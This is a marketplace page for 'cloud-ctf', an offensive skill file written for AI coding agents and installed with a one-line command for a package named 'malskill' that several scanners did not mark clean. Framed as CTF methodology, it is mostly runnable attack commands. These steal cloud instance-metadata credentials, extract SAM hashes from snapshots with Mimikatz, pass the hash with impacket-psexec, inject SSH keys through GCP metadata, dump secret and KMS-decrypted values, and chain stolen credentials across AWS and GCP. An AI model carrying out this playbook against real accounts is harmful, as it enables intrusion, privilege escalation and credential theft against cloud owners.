offensive-ctf/cloud-ctf/SKILL.md
Lab/CTF: cloud security challenges; AWS/GCP/Azure creds, buckets, IAM, metadata, KMS/secrets, snapshots, object versions, identity chains.
npx skillsauth add aeondave/malskill cloud-ctfInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: solve cloud security CTF tasks by enumerating from a known entry point, confirming identity and permissions at every hop, and following the shortest validated path to the objective.
Entry point classification:
A. AWS access key (AKIA.../ASIA...) → enumerate-iam → map services → pivot
B. AWS unique ID (AROA/AIDA prefix) → resolve via IAM trust policy trick
C. GCP service account key JSON → gcloud auth → enumerate roles → pivot
D. Shell on cloud VM → IMDS metadata → credentials → enumerate
E. Leaked URL / bucket name → anonymous access → authenticated list → versions
F. Azure account/SAS/managed identity → az account show → role/scope/storage/key vault pivot
Loop:
1. Identify and classify the entry point.
2. Enumerate permissions with the smallest blast radius first.
3. Map services accessible with current credentials.
4. Pivot: recover deleted objects, assume roles, steal IMDS credentials.
5. Repeat with each new credential set until the objective is reached.
Validation signal: flag value, decrypted file content, or secret value.
Do not brute-force services blindly — always start with identity confirmation and permission enumeration.
AWS IAM unique IDs encode the principal type in the first 4 characters. When given an ID like AROAXYAFLIG2BLQFIIP34:
| Prefix | Principal type |
|--------|----------------|
| AIDA | IAM User |
| AROA | IAM Role |
| ASIA | Temporary session (STS) |
| AKIA | Long-term Access Key |
| AGPA | Group |
| AIPA | Instance Profile |
| ANPA | Managed Policy |
Resolution technique: create a free AWS account → IAM → Roles → Create role → Custom trust policy:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "<UNIQUE_ID>"},
"Action": "sts:AssumeRole"
}]
}
Save it, then open the role → Trust relationships tab. AWS automatically resolves the unique ID to the full ARN. The ARN is the answer.
aws configure
# Enter: access key, secret key, region (usually us-east-1), format (json)
# Always confirm identity first
aws sts get-caller-identity
gcloud auth activate-service-account --key-file=serviceaccount.json
gcloud config set project <project-id>
az account show
az account list --output table
az account set --subscription <subscription-id>
az role assignment list --assignee <object-id> --all
git clone https://github.com/andresriancho/enumerate-iam
python3 enumerate-iam.py --access-key AKIA... --secret-key <secret>
# For temporary credentials (ASIA):
python3 enumerate-iam.py --access-key ASIA... --secret-key <secret> --session-token <token>
Focus on [INFO] lines with worked!. High-value discoveries to act on immediately:
| Discovery | Next action |
|-----------|-------------|
| s3.list_buckets | List buckets, then check versioning |
| ds.describe_directories | Directory Service → WorkDocs |
| ec2.describe_snapshots | Snapshot forensics |
| ec2.describe_instances | Running VMs, instance profiles |
| kms.list_keys | KMS decryption |
| secretsmanager.list_secrets | Direct credential access |
| cognito-identity.list_identity_pools | Unauthenticated AWS credentials |
| dynamodb.list_tables | DynamoDB data enumeration |
| sqs.list_queues | Message queue access |
| ecs.list_clusters | Container task/credential access |
| apigateway.get_rest_apis | API discovery and API key extraction |
| cloudtrail.describe_trails | Activity log access |
# Try IAM policy (often denied, worth attempting)
gcloud projects get-iam-policy <project-id>
# List custom roles (frequently readable without broad permissions)
gcloud iam roles list --project <project-id>
gcloud iam roles describe <RoleName> --project <project-id>
Key permission to hunt for: compute.instances.setMetadata → privilege escalation.
az account show
az role assignment list --assignee <object-id> --all --output table
az storage account list --output table
az keyvault list --output table
Separate management-plane roles from data-plane permissions. A principal that can see a storage account or vault may still need blob/key/secret-specific access to recover data.
Cognito Identity Pools issue temporary AWS credentials. If a pool allows unauthenticated identities, the pool ID itself can become the next credential source.
# With current AWS credentials, if permission enumeration found list/describe access:
aws cognito-identity list-identity-pools --max-results 60
aws cognito-identity describe-identity-pool --identity-pool-id <region:uuid>
# With a known identity pool ID from app config or source code:
IDENTITY_ID=$(aws cognito-identity get-id \
--identity-pool-id <region:uuid> \
--no-sign-request \
--query 'IdentityId' --output text)
aws cognito-identity get-credentials-for-identity \
--identity-id "$IDENTITY_ID" \
--no-sign-request
CTF pattern: AllowUnauthenticatedIdentities: true plus an over-permissive unauth role gives a fresh AWS credential set.
aws dynamodb list-tables
aws dynamodb describe-table --table-name <table>
aws dynamodb scan --table-name <table> --limit 25
CTF pattern: Tables often contain credentials, Lambda configuration data, user records, or flag fragments.
aws sqs list-queues
aws sqs get-queue-attributes --queue-url <url> --attribute-names All
aws sqs receive-message --queue-url <url> --max-number-of-messages 10 --visibility-timeout 0
CTF pattern: Queues and dead-letter queues often contain service-to-service tokens, job payloads, or flag fragments.
aws ecs list-clusters
aws ecs list-task-definitions
aws ecs describe-task-definition --task-definition <family:revision>
CTF pattern: Task definitions expose environment variables, Secrets Manager references, image names, and IAM role assignments.
aws apigateway get-rest-apis
aws apigatewayv2 get-apis
aws apigateway get-api-keys
aws apigateway get-api-key --api-key <id> --include-value
CTF pattern: API names, stages, Lambda integrations, and leaked API key values often identify the next web/API target.
aws cloudtrail describe-trails
aws cloudtrail lookup-events --max-results 50
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
--max-results 50
CTF pattern: Activity logs reveal prior AssumeRole, GetSecretValue, Decrypt, and service-discovery calls that point to the intended chain.
aws s3 ls # list accessible buckets
aws s3 ls s3://<bucket>/ # list current contents
# Critical: deleted objects have preserved versions — always check
aws s3api list-object-versions --bucket <bucket>
# Recover a specific deleted version
aws s3api get-object \
--bucket <bucket> --key <file> \
--version-id <version-id> <output-file>
Deleted CSV files containing credentials are a common chain link.
# Find directory ID and WorkDocs access URL
aws ds describe-directories
# Enumerate document activity — reveals document IDs and names
aws workdocs describe-activities --organization-id <directory-id>
# Get document metadata (includes presigned download URLs)
aws workdocs get-document --document-id <doc-id>
# Download using the LARGE thumbnail URL from the response
curl '<LARGE_url_from_response>' --output document.png
aws secretsmanager list-secrets
# Get current version
aws secretsmanager get-secret-value --secret-id <name>
# List all versions (older versions often hold different credentials)
aws secretsmanager list-secret-version-ids --secret-id <name>
aws secretsmanager get-secret-value --secret-id <name> --version-id <id>
aws kms list-keys
aws kms list-aliases
aws kms describe-key --key-id <key-id>
# Verify a file is KMS-encrypted:
# file <blob> → "Windows Precompiled iNF" means KMS envelope format
# Decrypt
aws kms decrypt \
--ciphertext-blob fileb://./encrypted.file \
--key-id <key-id>
# Response.Plaintext is base64 — decode:
echo "<base64_plaintext>" | base64 -d > decrypted.ps1
Note: the decrypted PS1 often embeds the next set of IAM credentials directly as hardcoded variables.
# Only list snapshots you own
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
aws ec2 describe-snapshots --filters Name=owner-id,Values=$ACCOUNT_ID
# Download snapshot as raw disk image
pip install dsnap
dsnap list
dsnap get <snap-id> # outputs <snap-id>.img
# Inspect
file <snap-id>.img # identifies filesystem (DOS/MBR, NTFS, etc.)
# Mount with guestfish
guestfish -a <snap-id>.img
><fs> run
><fs> list-filesystems
><fs> mount /dev/sda1 /
><fs> ll /
><fs> ll /WindowsImageBackup/ # Windows backup drive
><fs> copy-out '/WindowsImageBackup/<host>/Backup <date>/file.vhdx' /root/
VHDX chain (Windows backup snapshots):
# Mount the extracted VHDX
guestfish -a file.vhdx
><fs> run
><fs> list-filesystems # usually /dev/sda2
><fs> mount /dev/sda2 /
><fs> ll /Windows/System32/config # find SAM + SYSTEM
><fs> copy-out /Windows/System32/config/SAM /root/
><fs> copy-out /Windows/System32/config/SYSTEM /root/
Hash extraction: use Mimikatz from Windows (lsadump::sam /system:... /sam:...). samdump2 on Linux returns null hashes for EC2 Windows instances.
Pass-the-hash after extraction:
impacket-psexec -hashes :<NTLM_hash> Administrator@<public-ip>
# → SYSTEM shell → query IMDS for next credentials
# AWS — find role name, then get temporary credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Save AccessKeyId + SecretAccessKey + Token to ~/.aws/credentials
# GCP
gcloud compute instances describe $(hostname) # find attached SA
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
IMDS credentials are temporary (ASIA prefix for AWS) — always save the Token field too.
Requires compute.instances.setMetadata permission:
NEWUSER="attacker"
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
echo "$NEWUSER:$(cat ./key.pub)" > meta.txt
gcloud compute instances add-metadata <instance-name> --metadata-from-file ssh-keys=meta.txt
# New user is automatically added to google-sudoers group
ssh -i ./key $NEWUSER@localhost
sudo cat /root/flag.txt
gcloud auth activate-service-account --key-file=key.json
gsutil ls # list buckets
gsutil ls gs://<bucket>/ # list contents
gsutil ls -a gs://<bucket>/<path>/ # show ALL versions including deleted
gsutil cp 'gs://<bucket>/<path>#<generation>' . # recover specific version
Config files deleted from buckets (firestore.json, .env) are a common chain link.
// list-collections.js
const { initializeApp, cert } = require('firebase-admin/app');
const { getFirestore } = require('firebase-admin/firestore');
initializeApp({ credential: cert(require('./firestore.json')) });
const db = getFirestore();
db.listCollections().then(snap =>
snap.forEach(s => console.log(s["_queryOptions"].collectionId))
);
// dump-collection.js
const db = getFirestore();
async function dump() {
const snap = await db.collection('<collection>').get();
snap.forEach(doc => console.log(doc.id, '=>', doc.data()));
}
dump();
Common data found: username, bcrypt password hash, base32 secret (TOTP seed).
# Any base32 string in recovered data is likely a TOTP seed
oathtool -b <BASE32_SECRET> --totp
python3 -c "import pyotp; print(pyotp.TOTP('<BASE32>').now())"
Combine with password reuse — try every recovered Secret Manager version as a login password before attempting to crack the bcrypt hash.
Use references/azure-service-cheatsheet.md for command details. In CTF tasks, prioritize:
After every new credential set:
enumerate-iam or gcloud iam roles describe.Common multi-hop chains:
AWS credential chain:
AKIA#1 → s3:ListBuckets → list-object-versions → deleted CSV → AKIA#2
AKIA#2 → ec2:DescribeSnapshots → dsnap → VHDX → Mimikatz → NTLM
NTLM → impacket-psexec → SYSTEM → IMDS → ASIA (role with KMS)
ASIA → kms:Decrypt → encrypted .ps1 → AKIA#3 embedded in plaintext
AKIA#3 → secretsmanager:ListSecrets → flag or final secret
GCP credential chain:
SA key (storage SA) → gsutil ls -a → deleted firestore.json
firestore.json (Firestore SA) → list collections → user + TOTP seed
SA key (storage SA) → gcloud secrets versions access v1 → reused password
username + password(v1) + oathtool(seed) → web login → flag
ARN resolution:
Unique ID (AROA...) → IAM trust policy trick → Trust relationships → ARN = flag
list-object-versions / gsutil ls -a first.WindowsImageBackup/ dir with .vhdx; Mimikatz not samdump2.compute.instances.setMetadata in custom role → SSH key injection.Load for deep methodology:
cloud-security-technique — full enumeration workflows, IAM paths, detection-aware pivoting.aws-cli for AWS identity, IAM, S3, KMS, Secrets Manager, EC2, DS, WorkDocs, and IMDS-assisted pivots.gcloud-cli for GCP IAM, Storage, Compute metadata, Secret Manager, Firestore, Functions, and GKE pivots.az) for Azure account context, RBAC, Storage, Key Vault, and managed identity pivots.pacu when an AWS task needs broader permission mapping in an isolated lab.gitleaks and trufflehog when cloud credentials or service-account keys may be hidden in repositories or archives.john, hashcat, and TOTP tooling only after recovered secrets and password reuse have been tested.list-object-versions / gsutil ls -a before concluding a bucket is empty.enumerate-iam on every new credential set.file utility before decrypting.list-object-versions on S3/GCS buckets.AccessDenied as dead-end — try versioned objects, different key IDs, or other services.data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.